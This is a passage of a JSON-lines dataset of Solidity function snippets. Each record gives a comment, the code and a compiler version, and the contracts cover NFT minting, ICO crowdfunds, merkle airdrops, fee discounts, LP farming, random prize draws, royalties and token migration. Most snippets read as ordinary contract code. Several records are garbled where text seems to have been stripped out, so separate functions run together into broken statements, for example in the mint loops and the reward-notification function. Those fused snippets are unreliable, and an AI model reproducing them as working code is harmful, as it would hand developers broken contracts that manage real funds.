drop minimum 1, maximum 100 NFTs\");\r\n require(count.add(_tokenIds.current()) < _maxSupply, \"Exceeds max supply\");\r\n require(owner() == msg.sender || msg.value >= _mintCost.mul(count),\r\n \"Ether value sent is below the price\");\r\n for(uint i=0; i0,\"Missing recipient addresses\");\r\n require(owner() == msg.sender || _isPublicMintEnabled, \"Mint disabled\");\r\n require(recipients.length > 0 && recipients.length <= 100, \"You can drop minimum 1, maximum 100 NFTs\");\r\n require(recipients.length.add(_tokenIds.current()) < _maxSupply, \"Exceeds max supply\");\r\n require(owner() == msg.sender || msg.value >= _mintCost.mul(recipients.length),\r\n \"Ether value sent is below the price\");\r\n for(uint i=0; i= _amount); // check amount of balance can be tranfered\r\n addToBalance(_to, _amount);\r\n decrementBalance(msg.sender, _amount);\r\n Transfer(msg.sender, _to, _amount);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "// -------------------------------------------------\n// Finalizes crowdfund. If there are leftover RED, let them overflow to foundation\n// -------------------------------------------------", "function_code": "function finalizeCrowdfund() external onlyCrowdfund {\r\n require(stage == icoStages.PublicSale);\r\n uint256 amount = balanceOf(crowdfundAddress);\r\n if (amount > 0) {\r\n accounts[crowdfundAddress] = 0;\r\n addToBalance(foundationAddress, amount);\r\n Transfer(crowdfundAddress, foundationAddress, amount);\r\n }\r\n stage = icoStages.Done;\r\n CrowdfundFinalized(amount); // event log\r\n }", "version": "0.4.18"} {"comment": "// -------------------------------------------------\n// Function to unlock 20% RED to private angels investors\n// -------------------------------------------------", "function_code": "function partialUnlockAngelsAccounts(address[] _batchOfAddresses) external onlyOwner notBeforeCrowdfundEnds returns (bool success) {\r\n require(unlock20Done == false);\r\n uint256 amount;\r\n address holder;\r\n for (uint256 i = 0; i < _batchOfAddresses.length; i++) {\r\n holder = _batchOfAddresses[i];\r\n amount = angels[holder].mul(20).div(100);\r\n angels[holder] = angels[holder].sub(amount);\r\n addToBalance(holder, amount);\r\n }\r\n unlock20Done = true;\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "// -------------------------------------------------\n// Function to unlock all remaining RED to private angels investors (after 3 months)\n// -------------------------------------------------", "function_code": "function fullUnlockAngelsAccounts(address[] _batchOfAddresses) external onlyOwner checkAngelsLockingPeriod returns (bool success) {\r\n uint256 amount;\r\n address holder;\r\n for (uint256 i = 0; i < _batchOfAddresses.length; i++) {\r\n holder = _batchOfAddresses[i];\r\n amount = angels[holder];\r\n angels[holder] = 0;\r\n addToBalance(holder, amount);\r\n }\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "// -------------------------------------------------\n// Contract's constructor\n// -------------------------------------------------", "function_code": "function REDCrowdfund(address _tokenAddress) public {\r\n wallet = 0xc65f0d8a880f3145157117Af73fe2e6e8E60eF3c; // ICO wallet address\r\n startsAt = 1515398400; // Jan 8th 2018, 16:00, GMT+8\r\n endsAt = 1517385600; // Jan 31th 2018, 16:00, GMT+8\r\n tokenAddress = _tokenAddress; // RED token Address\r\n RED = REDToken(tokenAddress);\r\n }", "version": "0.4.18"} {"comment": "// -------------------------------------------------\n// Function to buy RED. One can also buy RED by calling this function directly and send\n// it to another destination.\n// -------------------------------------------------", "function_code": "function buyTokens(address _to) public crowdfundIsActive onlyWhiteList nonZeroAddress(_to) nonZeroValue payable {\r\n uint256 weiAmount = msg.value;\r\n uint256 tokens;\r\n uint price = 2500;\r\n\r\n if (RED.isEarlyBirdsStage()) {price = 2750;} // 10% discount for early birds\r\n tokens = weiAmount * price;\r\n weiRaised = weiRaised.add(weiAmount);\r\n wallet.transfer(weiAmount);\r\n if (!RED.transferFromCrowdfund(_to, tokens)) {revert();}\r\n TokenPurchase(_to, weiAmount, tokens);\r\n }", "version": "0.4.18"} {"comment": "/// ============ Functions ============\n/// @notice Allows claiming tokens if address is part of merkle tree\n/// @param to address of claimee\n/// @param amount of tokens owed to claimee\n/// @param proof merkle proof to prove address and amount are in tree", "function_code": "function claim(address to, uint256 amount, bytes32[] calldata proof) external {\n // Throw if address has already claimed tokens\n if (hasClaimed[to]) revert AlreadyClaimed();\n\n // Verify merkle proof, or revert if not in tree\n bytes32 leaf = keccak256(abi.encodePacked(to, amount));\n bool isValidLeaf = MerkleProof.verify(proof, merkleRoot, leaf);\n if (!isValidLeaf) revert NotInMerkle();\n\n // Throw if the contract doesn't hold enough tokens for claimee\n if (amount > token.balanceOf(address(this))) revert notEnoughRewards();\n\n // Set address to claimed\n hasClaimed[to] = true;\n\n // Award tokens to address\n token.transfer(to, amount);\n\n // Emit claim event\n emit Claim(to, amount);\n }", "version": "0.8.7"} {"comment": "// @notice Contributors can retrieve their funds here if crowdsale has paased deadline\n// @param (address) _assetAddress = The address of the asset which didn't reach it's crowdfunding goals", "function_code": "function refund(address _assetAddress)\r\n public\r\n whenNotPaused\r\n validAsset(_assetAddress)\r\n afterDeadline(_assetAddress)\r\n notFinalized(_assetAddress)\r\n returns (bool) {\r\n require(database.uintStorage(keccak256(abi.encodePacked(\"crowdsale.deadline\", _assetAddress))) != 0);\r\n database.deleteUint(keccak256(abi.encodePacked(\"crowdsale.deadline\", _assetAddress)));\r\n DividendInterface assetToken = DividendInterface(_assetAddress);\r\n address tokenAddress = assetToken.getERC20();\r\n uint refundValue = assetToken.totalSupply().mul(uint(100).add(database.uintStorage(keccak256(abi.encodePacked(\"platform.fee\"))))).div(100); //total supply plus platform fees\r\n reserve.refundERC20Asset(_assetAddress, refundValue, tokenAddress);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "//if true, degen can't call their debt", "function_code": "function isDebtorHealthy() public view returns (bool) {\r\n int256 months = monthsAhead();\r\n bool moreThanMonthBehind = months <= -1;\r\n if (months == 0) {\r\n //accounts for being at least 1 day overdue\r\n int256 arrears =\r\n int256(expectedPayments()) -\r\n int256(agreementState.accumulatedRepayments);\r\n moreThanMonthBehind = arrears > 0;\r\n }\r\n return !moreThanMonthBehind;\r\n }", "version": "0.8.0"} {"comment": "//positive number means Justin has more than met his requirement. Negative means he's in arrears", "function_code": "function expectedAccumulated() public view returns (uint256, uint256) {\r\n uint256 expected = expectedPayments();\r\n\r\n if (expected > agreementState.accumulatedRepayments) {\r\n //Justin is behind\r\n\r\n return (expected, agreementState.accumulatedRepayments);\r\n } else {\r\n //Justin is ahead\r\n\r\n return (expected, agreementState.accumulatedRepayments);\r\n }\r\n }", "version": "0.8.0"} {"comment": "//in the event of a critical bug, shutdown contract and withdraw EYE.", "function_code": "function voteForEmergencyShutdown(bool vote) public {\r\n if (msg.sender == users.Justin) {\r\n emergencyShutdownMultisig[EMERGENCY_SHUTDOWN_JUSTIN_INDEX] = vote;\r\n } else if (msg.sender == users.DGVC) {\r\n emergencyShutdownMultisig[EMERGENCY_SHUTDOWN_DEGEN_INDEX] = vote;\r\n }\r\n\r\n if (emergencyShutdownMultisig[0] && emergencyShutdownMultisig[1]) {\r\n agreementState.phase = AgreementPhaseEnum.emergencyShutdown;\r\n IERC20 eye = IERC20(tokens.EYE);\r\n uint256 balance = eye.balanceOf(address(this));\r\n eye.transfer(users.DGVC, balance);\r\n }\r\n }", "version": "0.8.0"} {"comment": "/// @dev Constructor\n/// @param _token SilentNotary token contract address\n/// @param _teamWallet Wallet address to withdraw unfrozen tokens\n/// @param _freezePeriods Ordered array of freeze periods\n/// @param _freezePortions Ordered array of balance portions to freeze, in percents", "function_code": "function SilentNotaryTokenStorage (address _token, address _teamWallet, uint[] _freezePeriods, uint[] _freezePortions) public {\r\n require(_token > 0);\r\n require(_teamWallet > 0);\r\n require(_freezePeriods.length > 0);\r\n require(_freezePeriods.length == _freezePortions.length);\r\n\r\n token = ERC20(_token);\r\n teamWallet = _teamWallet;\r\n deployedTime = now;\r\n\r\n var cumulativeTime = deployedTime;\r\n uint cumulativePercent = 0;\r\n for (uint i = 0; i < _freezePeriods.length; i++) {\r\n require(_freezePortions[i] > 0 && _freezePortions[i] <= 100);\r\n cumulativePercent = safeAdd(cumulativePercent, _freezePortions[i]);\r\n cumulativeTime = safeAdd(cumulativeTime, _freezePeriods[i]);\r\n frozenPortions.push(FrozenPortion({\r\n portionPercent: _freezePortions[i],\r\n unfreezeTime: cumulativeTime,\r\n portionAmount: 0,\r\n isUnfrozen: false}));\r\n }\r\n assert(cumulativePercent == 100);\r\n }", "version": "0.4.18"} {"comment": "/// @dev Unfreeze currently available amount of tokens", "function_code": "function unfreeze() public onlyOwner {\r\n require(amountFixed);\r\n\r\n uint unfrozenTokens = 0;\r\n for (uint i = 0; i < frozenPortions.length; i++) {\r\n var portion = frozenPortions[i];\r\n if (portion.isUnfrozen)\r\n continue;\r\n if (portion.unfreezeTime < now) {\r\n unfrozenTokens = safeAdd(unfrozenTokens, portion.portionAmount);\r\n portion.isUnfrozen = true;\r\n }\r\n else\r\n break;\r\n }\r\n transferTokens(unfrozenTokens);\r\n }", "version": "0.4.18"} {"comment": "/// @dev Fix current token amount (calculate absolute values of every portion)", "function_code": "function fixAmount() public onlyOwner {\r\n require(!amountFixed);\r\n amountFixed = true;\r\n\r\n uint currentBalance = token.balanceOf(this);\r\n for (uint i = 0; i < frozenPortions.length; i++) {\r\n var portion = frozenPortions[i];\r\n portion.portionAmount = safeDiv(safeMul(currentBalance, portion.portionPercent), 100);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @dev Deposit BBO.", "function_code": "function depositBBO() payable {\r\n require(depositStartTime > 0);\r\n require(msg.value == 0);\r\n require(now >= depositStartTime && now <= depositStopTime);\r\n \r\n ERC20 bboToken = ERC20(bboTokenAddress);\r\n uint bboAmount = bboToken\r\n .balanceOf(msg.sender)\r\n .min256(bboToken.allowance(msg.sender, address(this)));\r\n\r\n if(bboAmount > 0){\r\n require(bboToken.transferFrom(msg.sender, address(this), bboAmount));\r\n Record storage record = records[msg.sender];\r\n record.bboAmount = record.bboAmount.add(bboAmount);\r\n record.timestamp = now;\r\n records[msg.sender] = record;\r\n\r\n bboDeposited = bboDeposited.add(bboAmount);\r\n emit Deposit(depositId++, msg.sender, bboAmount);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @dev Withdrawal BBO.", "function_code": "function withdrawBBO() payable {\r\n require(depositStartTime > 0);\r\n require(bboDeposited > 0);\r\n\r\n Record storage record = records[msg.sender];\r\n require(now >= record.timestamp + WITHDRAWAL_DELAY);\r\n require(record.bboAmount > 0);\r\n\r\n uint bboWithdrawalBase = record.bboAmount;\r\n if (msg.value > 0) {\r\n bboWithdrawalBase = bboWithdrawalBase\r\n .min256(msg.value.mul(WITHDRAWAL_SCALE));\r\n }\r\n\r\n uint bboBonus = getBonus(bboWithdrawalBase);\r\n uint balance = bboBalance();\r\n uint bboAmount = balance.min256(bboWithdrawalBase + bboBonus);\r\n \r\n bboDeposited = bboDeposited.sub(bboWithdrawalBase);\r\n record.bboAmount = record.bboAmount.sub(bboWithdrawalBase);\r\n\r\n if (record.bboAmount == 0) {\r\n delete records[msg.sender];\r\n } else {\r\n records[msg.sender] = record;\r\n }\r\n\r\n emit Withdrawal(withdrawId++, msg.sender, bboAmount);\r\n\r\n require(ERC20(bboTokenAddress).transfer(msg.sender, bboAmount));\r\n if (msg.value > 0) {\r\n msg.sender.transfer(msg.value);\r\n }\r\n }", "version": "0.4.24"} {"comment": "//////////\n/// @notice Get the list of whitelisted addresses\n/// @return The list of whitelisted addresses", "function_code": "function getWhitelisted() external view returns(address[] memory) {\r\n uint256 length = _whitelisted.length();\r\n address[] memory result = new address[](length);\r\n\r\n for (uint256 i=0; i < length; i++) {\r\n result[i] = _whitelisted.at(i);\r\n }\r\n\r\n return result;\r\n }", "version": "0.7.6"} {"comment": "/// @notice Get fee (In basis points) to pay by a given user, for a given fee type\n/// @param _user The address for which to calculate the fee\n/// @param _hasReferrer Whether the address has a referrer or not\n/// @param _feeType The type of fee\n/// @return The protocol fee to pay by _user (In basis points)", "function_code": "function getFee(address _user, bool _hasReferrer, FeeType _feeType) public view returns(uint256) {\r\n if (_whitelisted.contains(_user)) return 0;\r\n\r\n uint256 fee = _getBaseFee(_feeType);\r\n\r\n // If premiaFeeDiscount contract is set, we calculate discount\r\n if (address(premiaFeeDiscount) != address(0)) {\r\n uint256 discount = premiaFeeDiscount.getDiscount(_user);\r\n fee = fee.mul(discount).div(_inverseBasisPoint);\r\n }\r\n\r\n if (_hasReferrer) {\r\n fee = fee.mul(_inverseBasisPoint.sub(referredDiscount)).div(_inverseBasisPoint);\r\n }\r\n\r\n return fee;\r\n }", "version": "0.7.6"} {"comment": "/// @notice Calculate protocol fee and referrer fee to pay, from a total fee (in wei), after applying all discounts\n/// @param _user The address for which to calculate the fee\n/// @param _hasReferrer Whether the address has a referrer or not\n/// @param _baseFee The total fee to pay (without including any discount)\n/// @return _fee Fee amount to pay to protocol\n/// @return _feeReferrer Fee amount to pay to referrer", "function_code": "function getFeeAmountsWithDiscount(address _user, bool _hasReferrer, uint256 _baseFee) public view returns(uint256 _fee, uint256 _feeReferrer) {\r\n if (_whitelisted.contains(_user)) return (0,0);\r\n\r\n uint256 feeReferrer = 0;\r\n uint256 feeDiscount = 0;\r\n\r\n // If premiaFeeDiscount contract is set, we calculate discount\r\n if (address(premiaFeeDiscount) != address(0)) {\r\n uint256 discount = premiaFeeDiscount.getDiscount(_user);\r\n require(discount <= _inverseBasisPoint, \"Discount > max\");\r\n feeDiscount = _baseFee.mul(discount).div(_inverseBasisPoint);\r\n }\r\n\r\n if (_hasReferrer) {\r\n // feeDiscount = feeDiscount + ( (_feeAmountBase - feeDiscount ) * referredDiscountRate)\r\n feeDiscount = feeDiscount.add(_baseFee.sub(feeDiscount).mul(referredDiscount).div(_inverseBasisPoint));\r\n feeReferrer = _baseFee.sub(feeDiscount).mul(referrerFee).div(_inverseBasisPoint);\r\n }\r\n\r\n return (_baseFee.sub(feeDiscount).sub(feeReferrer), feeReferrer);\r\n }", "version": "0.7.6"} {"comment": "//////////////\n/// @notice Get the base protocol fee, for a given fee type\n/// @param _feeType The type of fee\n/// @return The base protocol fee for _feeType (In basis points)", "function_code": "function _getBaseFee(FeeType _feeType) internal view returns(uint256) {\r\n if (_feeType == FeeType.Write) {\r\n return writeFee;\r\n } else if (_feeType == FeeType.Exercise) {\r\n return exerciseFee;\r\n } else if (_feeType == FeeType.Maker) {\r\n return makerFee;\r\n } else if (_feeType == FeeType.Taker) {\r\n return takerFee;\r\n } else if (_feeType == FeeType.FlashLoan) {\r\n return flashLoanFee;\r\n }\r\n\r\n return 0;\r\n }", "version": "0.7.6"} {"comment": "//Storage of addresses is broken into smaller contracts.", "function_code": "function importAddresses(address[] parentsArray,address[] childrenArray)\t{\r\n\tif (numImports= periodFinish) {\r\n rewardRate = _reward.div(farmingDuration);\r\n }\r\n // If additional reward to existing period, calc sum\r\n else {\r\n uint256 remaining = periodFinish.sub(currentTime);\r\n uint256 leftover = remaining.mul(rewardRate);\r\n rewardRate = _reward.add(leftover).div(farmingDuration);\r\n }\r\n\r\n lastUpdateTime = currentTime;\r\n periodFinish = currentTime.add(farmingDuration);\r\n\r\n emit RewardAdded(_reward);\r\n }", "version": "0.5.16"} {"comment": "// validates a proof-of-work for a given NFT, with a supplied nonce\n// at a given difficulty level", "function_code": "function work(\r\n uint256 id, uint256 nonce, uint8 difficulty\r\n ) public view returns (bool) {\r\n bytes32 candidate = _firstn(\r\n keccak256(abi.encodePacked(address(this), id, nonce)),\r\n difficulty\r\n );\r\n bytes32 target = _firstn(\r\n bytes32(uint256(address(this)) << 96),\r\n difficulty\r\n );\r\n return (candidate == target);\r\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Returns a token IDs array owned by `owner`.\n */", "function_code": "function tokensByOwner(address owner) external view returns (uint256[] memory) {\n if (balanceOf(owner) == 0) {\n return new uint256[](0);\n }\n\n uint256 tokensOwned = 0;\n uint256 idIndex = 0;\n for(uint i = 1; i <= currentSupply; i++) {\n if (ownerOf(i) == owner) {\n tokensOwned++;\n }\n }\n\n uint256[] memory ids = new uint256[](tokensOwned);\n for(uint i = 1; i <= currentSupply; i++) {\n if (ownerOf(i) == owner) {\n ids[idIndex] = i;\n idIndex++;\n }\n }\n\n return ids;\n }", "version": "0.8.0"} {"comment": "// UniV2 / SLP Info", "function_code": "function uniV2LPBasicInfo(address pair_address) public view returns (UniV2LPBasicInfo memory) {\r\n // Instantiate the pair\r\n IUniswapV2Pair the_pair = IUniswapV2Pair(pair_address);\r\n\r\n // Get the reserves\r\n (uint256 reserve0, uint256 reserve1, ) = (the_pair.getReserves());\r\n\r\n // Get the token1 address\r\n address token0 = the_pair.token0();\r\n address token1 = the_pair.token1();\r\n\r\n // Return\r\n return UniV2LPBasicInfo(\r\n pair_address, // [0]\r\n the_pair.name(), // [1]\r\n the_pair.symbol(), // [2]\r\n token0, // [3]\r\n token1, // [4]\r\n ERC20(token0).decimals(), // [5]\r\n ERC20(token1).decimals(), // [6]\r\n reserve0, // [7]\r\n reserve1, // [8]\r\n the_pair.totalSupply() // [9]\r\n );\r\n }", "version": "0.8.10"} {"comment": "// ( 4 * 5 * (86400000) ) / 1 days;", "function_code": "function update(address from, address to) external onlyAllowed {\n if (from != address(0)) {\n rewards[from] += getPending(from);\n lastClaimDatetime[from] = block.timestamp;\n }\n if (to != address(0)) {\n rewards[to] += getPending(to);\n lastClaimDatetime[to] = block.timestamp;\n }\n }", "version": "0.8.2"} {"comment": "// View function to see pending ERC20s for a user.", "function_code": "function pending(uint256 _pid, address _user) external view returns (uint256) {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][_user];\r\n uint256 accERC20PerShare = pool.accERC20PerShare;\r\n uint256 lpSupply = pool.lpToken.balanceOf(address(this));\r\n\r\n if (block.number > pool.lastRewardBlock && lpSupply != 0) {\r\n uint256 lastBlock = block.number < endBlock ? block.number : endBlock;\r\n uint256 nrOfBlocks = lastBlock.sub(pool.lastRewardBlock);\r\n uint256 erc20Reward = nrOfBlocks.mul(rewardPerBlock).mul(pool.allocPoint).div(totalAllocPoint);\r\n accERC20PerShare = accERC20PerShare.add(erc20Reward.mul(1e36).div(lpSupply));\r\n }\r\n\r\n return user.amount.mul(accERC20PerShare).div(1e36).sub(user.rewardDebt);\r\n }", "version": "0.6.12"} {"comment": "// Deposit LP tokens to Farm for ERC20 allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n updatePool(_pid);\r\n if (user.amount > 0) {\r\n uint256 pendingAmount = user.amount.mul(pool.accERC20PerShare).div(1e36).sub(user.rewardDebt);\r\n erc20Transfer(msg.sender, pendingAmount);\r\n }\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n user.amount = user.amount.add(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accERC20PerShare).div(1e36);\r\n emit Deposit(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// Withdraw LP tokens from Farm.", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n require(user.amount >= _amount, \"withdraw: can't withdraw more than deposit\");\r\n updatePool(_pid);\r\n uint256 pendingAmount = user.amount.mul(pool.accERC20PerShare).div(1e36).sub(user.rewardDebt);\r\n erc20Transfer(msg.sender, pendingAmount);\r\n user.amount = user.amount.sub(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accERC20PerShare).div(1e36);\r\n pool.lpToken.safeTransfer(address(msg.sender), _amount);\r\n emit Withdraw(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// This is the constructor and automatically runs when the smart contract is uploaded", "function_code": "function FMT() { // Set the constructor to the same name as the contract name\r\n name = \"FINGER MOBILE TOKEN\"; // set the token name here\r\n symbol = \"FMT\"; // set the Symbol here\r\n decimals = 8; // set the number of decimals\r\n devAddress=0x6eC2f42d083F29e2cd19eC0e4d99A22B4a8A31cf; // Add the address that you will distribute tokens from here\r\n uint initialBalance=100000000*10000000000; // 1M tokens\r\n balances[devAddress]=initialBalance;\r\n totalSupply+=initialBalance; // Set the total suppy\r\n}", "version": "0.4.26"} {"comment": "/**\r\n * @dev Transfer tokens direct to recipient without allocation. \r\n * _recipient can only get one transaction and _tokens can't be above maxDirect value\r\n * \r\n */", "function_code": "function transferDirect(address _recipient,uint256 _tokens) public{\r\n\r\n //Check if contract has tokens\r\n require(token.balanceOf(this)>=_tokens);\r\n \r\n //Check max value\r\n require(_tokens < maxDirect );\r\n\r\n //Check if _recipient already have got tokens\r\n require(!recipients[_recipient]); \r\n recipients[_recipient] = true;\r\n \r\n //Transfer tokens\r\n require(token.transfer(_recipient, _tokens));\r\n\r\n //Add claimed tokens to grandTotalClaimed\r\n grandTotalClaimed = grandTotalClaimed.add(_tokens); \r\n \r\n }", "version": "0.4.24"} {"comment": "/** \r\n * Requests randomness from a user-provided seed\r\n */", "function_code": "function getRandomNumber(uint256 userProvidedSeed) public onlyDistributer returns (bytes32 requestId) { \r\n require(LINK.balanceOf(address(this)) >= fee, \"Not enough LINK - fill contract with faucet\");\r\n require(!progress, \"now getting an random number.\");\r\n winner = 0;\r\n progress = true;\r\n return requestRandomness(keyHash, fee, userProvidedSeed);\r\n }", "version": "0.8.1"} {"comment": "// Function to distribute punk.", "function_code": "function setPunkWinner() external onlyOwner {\r\n require(_prevRandomCallCount != _randomCallCount, \"Please generate random number.\");\r\n require(rnGenerator.getWinner() != 0, 'Please wait until random number generated.');\r\n require(_punkWinner == 6500, 'You already picked punk winner');\r\n\r\n _prevRandomCallCount = _randomCallCount;\r\n _punkWinner = rnGenerator.getWinner().mod(6400);\r\n }", "version": "0.8.1"} {"comment": "// Function to distribute legendary monster.", "function_code": "function setLegendaryMonsterWinner() external onlyOwner {\r\n require(_prevRandomCallCount != _randomCallCount, \"Please generate random number.\");\r\n require(rnGenerator.getWinner() != 0, 'Please wait until random number generated.');\r\n \r\n _prevRandomCallCount = _randomCallCount;\r\n uint256 _tempWinner = rnGenerator.getWinner().mod(3884);\r\n for(uint i=0; i<_legendaryMonsterWinners.length; i++ ) {\r\n require(_legendaryMonsterWinners[i] != _tempWinner, 'Same winner already exists.');\r\n }\r\n _legendaryMonsterWinners.push(_tempWinner);\r\n }", "version": "0.8.1"} {"comment": "// Function to distribute eth.", "function_code": "function setETHWinner() external onlyOwner {\r\n require(_prevRandomCallCount != _randomCallCount, \"Please generate random number.\");\r\n require(rnGenerator.getWinner() != 0, 'Please wait until random number generated.');\r\n \r\n _prevRandomCallCount = _randomCallCount;\r\n uint256 _tempWinner = rnGenerator.getWinner().mod(400) + 6000;\r\n for(uint i=0; i<_ethWinners.length; i++ ) {\r\n require(_ethWinners[i] != _tempWinner, 'Same winner already exists.');\r\n }\r\n _ethWinners.push(_tempWinner);\r\n }", "version": "0.8.1"} {"comment": "// Function to distribute zed.", "function_code": "function setZedWinner() external onlyOwner {\r\n require(_prevRandomCallCount != _randomCallCount, \"Please generate random number.\");\r\n require(rnGenerator.getWinner() != 0, 'Please wait until random number generated.');\r\n \r\n _prevRandomCallCount = _randomCallCount;\r\n uint256 _tempWinner = rnGenerator.getWinner().mod(6400);\r\n for(uint i=0; i<_zedWinners.length; i++ ) {\r\n require(_zedWinners[i] != _tempWinner, 'Same winner already exists.');\r\n }\r\n _zedWinners.push(_tempWinner);\r\n }", "version": "0.8.1"} {"comment": "// ======== Claim / Minting =========", "function_code": "function mintCommunity(uint amount) external nonReentrant {\r\n require(saleIsActive, \"Sale must be active to claim!\");\r\n require(block.timestamp >= communitySaleStart && block.timestamp < publicSaleStart, \"Community sale not active!\");\r\n require(amount > 0, \"Enter valid amount to claim\");\r\n require(amount <= addressToClaimableGods[msg.sender], \"Invalid hero amount!\");\r\n require(amount <= MAX_MINTS_PER_TX, \"Exceeds max mint per tx!\");\r\n\r\n godsToken.mint(amount, msg.sender);\r\n addressToClaimableGods[msg.sender] -= amount;\r\n }", "version": "0.8.6"} {"comment": "// ======== Snapshot / Whitelisting", "function_code": "function snapshot(address[] memory _addresses, uint[] memory _godsToClaim) external onlyOwner {\r\n require(_addresses.length == _godsToClaim.length, \"Invalid snapshot data\");\r\n for (uint i = 0; i < _addresses.length; i++) {\r\n addressToClaimableGods[_addresses[i]] = _godsToClaim[i];\r\n }\r\n }", "version": "0.8.6"} {"comment": "/**\r\n * return the sender of this call.\r\n * if the call came through our trusted forwarder, return the original sender.\r\n * otherwise, return `msg.sender`.\r\n * should be used in the contract anywhere instead of msg.sender\r\n */", "function_code": "function _msgSender() internal override virtual view returns (address payable ret) {\r\n if (msg.data.length >= 20 && isTrustedForwarder(msg.sender)) {\r\n // At this point we know that the sender is a trusted forwarder,\r\n // so we trust that the last bytes of msg.data are the verified sender address.\r\n // extract sender address from the end of msg.data\r\n assembly {\r\n ret := shr(96,calldataload(sub(calldatasize(),20)))\r\n }\r\n } else {\r\n return payable(msg.sender);\r\n }\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @dev Allow AMFEIX to transfer AMF to claiming users\r\n * \r\n * @param tokenAmount Amount of tokens to be sent\r\n * @param userAddress BTC address on which users willing to receive payment\r\n * @param btcTxId ID of the AMF buying transaction on Bitcoin network\r\n */", "function_code": "function payAMF(uint256 tokenAmount, address userAddress, string memory btcTxId) public virtual returns (bool) {\r\n require(_msgSender() == _tokenPool, \"Only AMFEIX can use this method\");\r\n _transfer(_msgSender(), userAddress, tokenAmount);\r\n emit AmfPaid(userAddress, btcTxId, tokenAmount);\r\n return true;\r\n }", "version": "0.8.0"} {"comment": "/**\n * @dev Get the royalty fee percentage for a specific ERC1155 contract.\n * @param _tokenId uint256 token ID.\n * @return uint8 wei royalty fee.\n */", "function_code": "function getTokenRoyaltyPercentage(\n uint256 _tokenId\n ) public view override returns (uint8) {\n if (tokenRoyaltyPercentage[_tokenId] > 0) {\n return tokenRoyaltyPercentage[_tokenId];\n }\n address creator =\n iERC1155TokenCreator.tokenCreator(_tokenId);\n if (creatorRoyaltyPercentage[creator] > 0) {\n return creatorRoyaltyPercentage[creator];\n }\n return contractRoyaltyPercentage;\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Sets the royalty percentage set for an Nafter token\n * Requirements:\n \n * - `_percentage` must be <= 100.\n * - only the owner of this contract or the creator can call this method.\n * @param _tokenId uint256 token ID.\n * @param _percentage uint8 wei royalty fee.\n */", "function_code": "function setPercentageForTokenRoyalty(\n uint256 _tokenId,\n uint8 _percentage\n ) external override returns (uint8) {\n require(\n msg.sender == iERC1155TokenCreator.tokenCreator(_tokenId) ||\n msg.sender == owner() ||\n msg.sender == nafter,\n \"setPercentageForTokenRoyalty::Must be contract owner or creator or nafter\"\n );\n require(\n _percentage <= 100,\n \"setPercentageForTokenRoyalty::_percentage must be <= 100\"\n );\n tokenRoyaltyPercentage[_tokenId] = _percentage;\n }", "version": "0.6.12"} {"comment": "/**\n * @dev restore data from old contract, only call by owner\n * @param _oldAddress address of old contract.\n * @param _oldNafterAddress get the token ids from the old nafter contract.\n * @param _startIndex start index of array\n * @param _endIndex end index of array\n */", "function_code": "function restore(address _oldAddress, address _oldNafterAddress, uint256 _startIndex, uint256 _endIndex) external onlyOwner {\n NafterRoyaltyRegistry oldContract = NafterRoyaltyRegistry(_oldAddress);\n INafter oldNafterContract = INafter(_oldNafterAddress);\n\n uint256 length = oldNafterContract.getTokenIdsLength();\n require(_startIndex < length, \"wrong start index\");\n require(_endIndex <= length, \"wrong end index\");\n\n for (uint i = _startIndex; i < _endIndex; i++) {\n uint256 tokenId = oldNafterContract.getTokenId(i);\n uint8 percentage = oldContract.getPercentageForTokenRoyalty(tokenId);\n if (percentage != 0) {\n tokenRoyaltyPercentage[tokenId] = percentage;\n }\n }\n\n for (uint i; i < oldContract.creatorsLength(); i++) {\n address creator = oldContract.creators(i);\n creators.push(creator);\n creatorRigistered[creator] = true;\n creatorRoyaltyPercentage[creator] = oldContract.creatorRoyaltyPercentage(creator);\n }\n }", "version": "0.6.12"} {"comment": "/**\n * Lazily mint some reserved tokens\n */", "function_code": "function mintReserved(uint numberOfTokens) public onlyOwner {\n require(\n _reservedTokenIdCounter.current().add(numberOfTokens) <= RESERVED_TOTAL,\n \"Minting would exceed max reserved supply\"\n );\n\n for (uint i = 0; i < numberOfTokens; i++) {\n _safeMintGeneric(msg.sender, _reservedTokenIdCounter);\n }\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Throttle minting to once a block and reset the reclamation threshold\r\n * whenever a new token is minted or transferred.\r\n */", "function_code": "function _beforeTokenTransfer(\r\n address from,\r\n address to,\r\n uint256 tokenId\r\n ) internal override(ERC721, ERC721Enumerable) {\r\n super._beforeTokenTransfer(from, to, tokenId);\r\n\r\n // If minting: ensure it's the only one from this tx origin in the block.\r\n if (from == address(0)) {\r\n require(\r\n block.number > _lastTokenMinted[tx.origin],\r\n \"discreet: cannot mint multiple tokens per block from a single origin\"\r\n );\r\n\r\n _lastTokenMinted[tx.origin] = block.number;\r\n }\r\n\r\n // If not burning: reset tokenId's reclaimable threshold block number.\r\n if (to != address(0)) {\r\n _reclaimableThreshold[tokenId] = block.number + 0x400000;\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Wrap an original or extra discreet NFT when transferred to this\r\n * contract via `safeTransferFrom` during the migration period.\r\n */", "function_code": "function onERC721Received(\r\n address operator,\r\n address from,\r\n uint256 tokenId,\r\n bytes calldata data\r\n ) external override returns (bytes4) {\r\n require(\r\n block.number < migrationEnds,\r\n \"discreet: token migration is complete.\"\r\n );\r\n\r\n require(\r\n msg.sender == address(originalSet) || msg.sender == address(extraSet),\r\n \"discreet: only accepts original or extra set 